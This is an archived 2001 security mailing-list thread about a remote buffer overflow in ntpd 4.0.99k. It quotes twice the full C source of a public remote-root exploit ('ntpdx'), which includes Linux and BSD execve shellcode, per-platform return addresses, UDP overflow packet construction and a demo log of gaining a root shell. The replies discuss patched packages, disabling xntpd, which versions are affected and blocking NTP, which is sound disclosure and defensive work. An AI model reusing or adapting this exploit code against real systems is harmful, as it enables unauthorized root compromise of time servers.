Xmm... It's seems works on SuSE 7.1... Vadim ----- Original Message ----- From: "Przemyslaw Frasunek" <venglin@FREEBSD.LUBLIN.PL> To: <BUGTRAQ@SECURITYFOCUS.COM> Sent: Wednesday, April 04, 2001 4:27 PM Subject: ntpd =< 4.0.99k remote buffer overflow
/* ntpd remote root exploit / babcia padlina ltd. <venglin@freebsd.lublin.pl> */
/* * Network Time Protocol Daemon (ntpd) shipped with many systems is vulnerable * to remote buffer overflow attack. It occurs when building response for * a query with large readvar argument. In almost all cases, ntpd is running * with superuser privileges, allowing to gain REMOTE ROOT ACCESS to timeserver. * * Althought it's a normal buffer overflow, exploiting it is much harder. * Destination buffer is accidentally damaged, when attack is performed, so * shellcode can't be larger than approx. 70 bytes. This proof of concept code * uses small execve() shellcode to run /tmp/sh binary. Full remote attack * is possible. * * NTP is stateless UDP based protocol, so all malicious queries can be * spoofed. * * Example of use on generic RedHat 7.0 box: * * [venglin@cipsko venglin]$ cat dupa.c * main() { setreuid(0,0); system("chmod 4755 /bin/sh"); } * [venglin@cipsko venglin]$ cc -o /tmp/sh dupa.c * [venglin@cipsko venglin]$ cc -o ntpdx ntpdx.c * [venglin@cipsko venglin]$ ./ntpdx -t2 localhost * ntpdx v1.0 by venglin@freebsd.lublin.pl * * Selected platform: RedHat Linux 7.0 with ntpd 4.0.99k-RPM (/tmp/sh) * * RET: 0xbffff777 / Align: 240 / Sh-align: 160 / sending query * [1] <- evil query (pkt = 512 | shell = 45) * [2] <- null query (pkt = 12) * Done. * /tmp/sh was spawned. * [venglin@cipsko venglin]$ ls -al /bin/bash * -rwsr-xr-x 1 root root 512540 Aug 22 2000 /bin/bash * */
#include <stdio.h> #include <stdlib.h> #include <stdarg.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <unistd.h> #include <arpa/inet.h>
#define NOP 0x90 #define ADDRS 8 #define PKTSIZ 512
static char usage[] = "usage: ntpdx [-o offset] <-t type> <hostname>";
/* generic execve() shellcodes */
char lin_execve[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/tmp/sh";
char bsd_execve[] = "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/tmp/sh\x01\x01\x01\x01" "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
struct platforms { char *os; char *version; char *code; long ret; int align; int shalign; int port; };
/* Platforms. Notice, that on FreeBSD shellcode must be placed in packet * *after* RET address. This values will vary from platform to platform. */
struct platforms targ[] = { { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve, 0xbfbff8bc, 200, 220, 0 },
{ "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve, 0xbfbff540, 200, 220, 0 },
{ "RedHat Linux 7.0", "4.0.99k-RPM (/tmp/sh)", lin_execve, 0xbffff777, 240, 160, 0 },
{ NULL, NULL, NULL, 0x0, 0, 0, 0 } };
long getip(name) char *name; { struct hostent *hp; long ip; extern int h_errno;
if ((ip = inet_addr(name)) < 0) { if (!(hp = gethostbyname(name))) { fprintf(stderr, "gethostbyname(): %s\n", strerror(h_errno)); exit(1); } memcpy(&ip, (hp->h_addr), 4); }
return ip; }
int doquery(host, ret, shellcode, align, shalign) char *host, *shellcode; long ret; int align, shalign; { /* tcpdump-based reverse engineering :)) */
char q2[] = { 0x16, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x36, 0x73, 0x74, 0x72, 0x61, 0x74, 0x75, 0x6d, 0x3d };
char q3[] = { 0x16, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
char buf[PKTSIZ], *p; long *ap; int i;
int sockfd; struct sockaddr_in sa;
bzero(&sa, sizeof(sa));
sa.sin_family = AF_INET; sa.sin_port = htons(123); sa.sin_addr.s_addr = getip(host);
if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { perror("socket"); return -1; }
if((connect(sockfd, (struct sockaddr *)&sa, sizeof(sa))) < 0) { perror("connect"); close(sockfd); return -1; }
memset(buf, NOP, PKTSIZ); memcpy(buf, q2, sizeof(q2));
p = buf + align; ap = (unsigned long *)p;
for(i=0;i<ADDRS/4;i++) *ap++ = ret;
p = (char *)ap;
memcpy(buf+shalign, shellcode, strlen(shellcode));
if((write(sockfd, buf, PKTSIZ)) < 0) { perror("write"); close(sockfd); return -1; }
fprintf(stderr, "[1] <- evil query (pkt = %d | shell = %d)\n", PKTSIZ, strlen(shellcode)); fflush(stderr);
if ((write(sockfd, q3, sizeof(q3))) < 0) { perror("write"); close(sockfd); return -1; }
fprintf(stderr, "[2] <- null query (pkt = %d)\n", sizeof(q3)); fflush(stderr);
close(sockfd);
return 0; }
int main(argc, argv) int argc; char **argv; { extern int optind, opterr; extern char *optarg; int ch, type, ofs, i; long ret;
opterr = ofs = 0; type = -1;
while ((ch = getopt(argc, argv, "t:o:")) != -1) switch((char)ch) { case 't': type = atoi(optarg); break;
case 'o': ofs = atoi(optarg); break;
case '?': default: puts(usage); exit(0);
}
argc -= optind; argv += optind;
fprintf(stderr, "ntpdx v1.0 by venglin@freebsd.lublin.pl\n\n");
if (type < 0) { fprintf(stderr, "Please select platform:\n"); for (i=0;targ[i].os;i++) { fprintf(stderr, "\t-t %d : %s %s (%p)\n", i, targ[i].os, targ[i].version, (void *)targ[i].ret); }
exit(0); }
fprintf(stderr, "Selected platform: %s with ntpd %s\n\n", targ[type].os, targ[type].version);
ret = targ[type].ret; ret += ofs;
if (argc != 1) { puts(usage); exit(0); }
fprintf(stderr, "RET: %p / Align: %d / Sh-align: %d / sending query\n", (void *)ret, targ[type].align, targ[type].shalign);
if (doquery(*argv, ret, targ[type].code, targ[type].align, targ[type].shalign) < 0) { fprintf(stderr, "Failed.\n"); exit(1); }
fprintf(stderr, "Done.\n");
if (!targ[type].port) { fprintf(stderr, "/tmp/sh was spawned.\n"); exit(0); }
exit(0); }
-- * Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE * * Inet: przemyslaw@frasunek.com ** PGP: D48684904685DF43EA93AFA13BE170BF *
* Vadim Kouzmine (kouzminv@cs.fiu.edu) [010405 10:44]:
It's seems works on SuSE 7.1...
I've created rpms with the Debian patch that was released today if anyone wants them to use until the SuSE security releases a proper update. Keep in mind that these are *not* official SuSE packages and completely untested. SuSE 7.0 i386: http://loafer.org/ntp/xntp-4.0.99g-0.i386.rpm SuSE 7.0 ppc: http://loafer.org/ntp/xntp-4.0.99g-0.ppc.rpm SuSE SRPM: http://loafer.org/ntp/xntp-4.0.99g-0.src.rpm Debian patch: http://loafer.org/ntp/ntp_4.0.99g-2potato1.diff.bz2 If you use these, please test the exploit against them. -- -ckm
Xmm...
It's seems works on SuSE 7.1...
Vadim
char lin_execve[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/tmp/sh";
Yes... Everybody `killall xntpd´, change /etc/rc.config to read START_XNTPD=no, plus wait for the update packages for all distributions that should be available in a few hours (they're just being built). Roman. -- - - | Roman Drahtmüller <draht@suse.de> // "Caution: Cape does | SuSE GmbH - Security Phone: // not enable user to fly." | Nürnberg, Germany +49-911-740530 // (Batman Costume warning label) | - -
Xmm...
It's seems works on SuSE 7.1...
Vadim
----- Original Message ----- From: "Przemyslaw Frasunek" <venglin@FREEBSD.LUBLIN.PL> To: <BUGTRAQ@SECURITYFOCUS.COM> Sent: Wednesday, April 04, 2001 4:27 PM Subject: ntpd =< 4.0.99k remote buffer overflow
/* ntpd remote root exploit / babcia padlina ltd. <venglin@freebsd.lublin.pl> */
/* * Network Time Protocol Daemon (ntpd) shipped with many systems is vulnerable * to remote buffer overflow attack. It occurs when building response for * a query with large readvar argument. In almost all cases, ntpd is running * with superuser privileges, allowing to gain REMOTE ROOT ACCESS to timeserver. * * Althought it's a normal buffer overflow, exploiting it is much harder. * Destination buffer is accidentally damaged, when attack is performed, so * shellcode can't be larger than approx. 70 bytes. This proof of concept code * uses small execve() shellcode to run /tmp/sh binary. Full remote attack * is possible. * * NTP is stateless UDP based protocol, so all malicious queries can be * spoofed. * * Example of use on generic RedHat 7.0 box: * * [venglin@cipsko venglin]$ cat dupa.c * main() { setreuid(0,0); system("chmod 4755 /bin/sh"); } * [venglin@cipsko venglin]$ cc -o /tmp/sh dupa.c * [venglin@cipsko venglin]$ cc -o ntpdx ntpdx.c * [venglin@cipsko venglin]$ ./ntpdx -t2 localhost * ntpdx v1.0 by venglin@freebsd.lublin.pl * * Selected platform: RedHat Linux 7.0 with ntpd 4.0.99k-RPM (/tmp/sh) * * RET: 0xbffff777 / Align: 240 / Sh-align: 160 / sending query * [1] <- evil query (pkt = 512 | shell = 45) * [2] <- null query (pkt = 12) * Done. * /tmp/sh was spawned. * [venglin@cipsko venglin]$ ls -al /bin/bash * -rwsr-xr-x 1 root root 512540 Aug 22 2000 /bin/bash * */
#include <stdio.h> #include <stdlib.h> #include <stdarg.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <unistd.h> #include <arpa/inet.h>
#define NOP 0x90 #define ADDRS 8 #define PKTSIZ 512
static char usage[] = "usage: ntpdx [-o offset] <-t type> <hostname>";
/* generic execve() shellcodes */
char lin_execve[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/sh";
char bsd_execve[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/tmp/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
struct platforms { char *os; char *version; char *code; long ret; int align; int shalign; int port; };
/* Platforms. Notice, that on FreeBSD shellcode must be placed in packet * *after* RET address. This values will vary from platform to platform. */
struct platforms targ[] = { { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve, 0xbfbff8bc, 200, 220, 0 },
{ "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve, 0xbfbff540, 200, 220, 0 },
{ "RedHat Linux 7.0", "4.0.99k-RPM (/tmp/sh)", lin_execve, 0xbffff777, 240, 160, 0 },
{ NULL, NULL, NULL, 0x0, 0, 0, 0 } };
long getip(name) char *name; { struct hostent *hp; long ip; extern int h_errno;
if ((ip = inet_addr(name)) < 0) { if (!(hp = gethostbyname(name))) { fprintf(stderr, "gethostbyname(): %s\n", strerror(h_errno)); exit(1); } memcpy(&ip, (hp->h_addr), 4); }
return ip; }
int doquery(host, ret, shellcode, align, shalign) char *host, *shellcode; long ret; int align, shalign; { /* tcpdump-based reverse engineering :)) */
char q2[] = { 0x16, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x36, 0x73, 0x74, 0x72, 0x61, 0x74, 0x75, 0x6d, 0x3d };
char q3[] = { 0x16, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
char buf[PKTSIZ], *p; long *ap; int i;
int sockfd; struct sockaddr_in sa;
bzero(&sa, sizeof(sa));
sa.sin_family = AF_INET; sa.sin_port = htons(123); sa.sin_addr.s_addr = getip(host);
if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { perror("socket"); return -1; }
if((connect(sockfd, (struct sockaddr *)&sa, sizeof(sa))) < 0) { perror("connect"); close(sockfd); return -1; }
memset(buf, NOP, PKTSIZ); memcpy(buf, q2, sizeof(q2));
p = buf + align; ap = (unsigned long *)p;
for(i=0;i<ADDRS/4;i++) *ap++ = ret;
p = (char *)ap;
memcpy(buf+shalign, shellcode, strlen(shellcode));
if((write(sockfd, buf, PKTSIZ)) < 0) { perror("write"); close(sockfd); return -1; }
fprintf(stderr, "[1] <- evil query (pkt = %d | shell = %d)\n", PKTSIZ, strlen(shellcode)); fflush(stderr);
if ((write(sockfd, q3, sizeof(q3))) < 0) { perror("write"); close(sockfd); return -1; }
fprintf(stderr, "[2] <- null query (pkt = %d)\n", sizeof(q3)); fflush(stderr);
close(sockfd);
return 0; }
int main(argc, argv) int argc; char **argv; { extern int optind, opterr; extern char *optarg; int ch, type, ofs, i; long ret;
opterr = ofs = 0; type = -1;
while ((ch = getopt(argc, argv, "t:o:")) != -1) switch((char)ch) { case 't': type = atoi(optarg); break;
case 'o': ofs = atoi(optarg); break;
case '?': default: puts(usage); exit(0);
}
argc -= optind; argv += optind;
fprintf(stderr, "ntpdx v1.0 by venglin@freebsd.lublin.pl\n\n");
if (type < 0) { fprintf(stderr, "Please select platform:\n"); for (i=0;targ[i].os;i++) { fprintf(stderr, "\t-t %d : %s %s (%p)\n", i, targ[i].os, targ[i].version, (void *)targ[i].ret); }
exit(0); }
fprintf(stderr, "Selected platform: %s with ntpd %s\n\n", targ[type].os, targ[type].version);
ret = targ[type].ret; ret += ofs;
if (argc != 1) { puts(usage); exit(0); }
fprintf(stderr, "RET: %p / Align: %d / Sh-align: %d / sending query\n", (void *)ret, targ[type].align, targ[type].shalign);
if (doquery(*argv, ret, targ[type].code, targ[type].align, targ[type].shalign) < 0) { fprintf(stderr, "Failed.\n"); exit(1); }
fprintf(stderr, "Done.\n");
if (!targ[type].port) { fprintf(stderr, "/tmp/sh was spawned.\n"); exit(0); }
exit(0); }
-- * Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE
* Inet: przemyslaw@frasunek.com ** PGP: D48684904685DF43EA93AFA13BE170BF
somebody knows what timeserver versions are not effected by this problem??? ----- Original Message ----- From: "Vadim Kouzmine" <kouzminv@cs.fiu.edu> To: <BUGTRAQ@SECURITYFOCUS.COM>; <suse-security@suse.com> Sent: Thursday, April 05, 2001 4:01 PM Subject: [suse-security] Re: ntpd =< 4.0.99k remote buffer overflow * *
--------------------------------------------------------------------- To unsubscribe, e-mail: suse-security-unsubscribe@suse.com For additional commands, e-mail: suse-security-help@suse.com
mumblemumble"idiots who quote exploit code three times"mumblemumble. NTP Exploit code for NTP was released publically here, all the stratum one time servers were taken off until the problem was fixed. From Ron Ogle: There is only a patch for the NTP software from http://phk.freebsd.dk/patch/ntpd.patch. We are going to wait for a full released and tested version of NTP to be released from http://www.ntp.org/. Until that time, we are blocking NTP access from the Internet (for those of us who use Internet stratum 1 servers) for the NTP protocol. This should be a very low risk situation because or internal, stratum 2, server will keep time close enough to "real" time for at least the next several days. I suggest that other people in the same situation do the same until a proper fix is made. My .02 Ron Ogle And from Durval Menezes: Tried here against stock xntpd 3.5f (from xntpd-3.5f-3.i386.rpm) on a Redhat Linux 3.0.3 w/ kernel 2.0.36, and the exploit didn't have ANY effect: no root shell was spawned, and the daemon stayed up. An "strace" of the running xntpd process confirmed this: no exec syscalls were attempted. Same think on SPARC Solaris 2.5.1 also running xntpd 3.5f: no shell, and the xntpd daemon stayed up with no exec syscalls showing on "truss". Another vindication for those (like me) that don't like to run the "latest and greatest" versions of any code (I only upgrade my machines when forced to, either because of security bugs, or because of desperately needed new functionality, and even then only after running it for awhile on a test system INSIDE my firewall, and preferably doing an audit on the code myself). Best regards, -- Durval Menezes (durval AT tmp DOT com DOT br, http://www.tmp.com.br/) So it looks like only 4.x is vulnerable which is somewhat good news. Kurt Seifried, seifried@securityportal.com Securityportal - your focal point for security on the 'net
participants (5)
-
Christopher Mahmood
-
Kurt Seifried
-
rene.marhold
-
Roman Drahtmueller
-
Vadim Kouzmine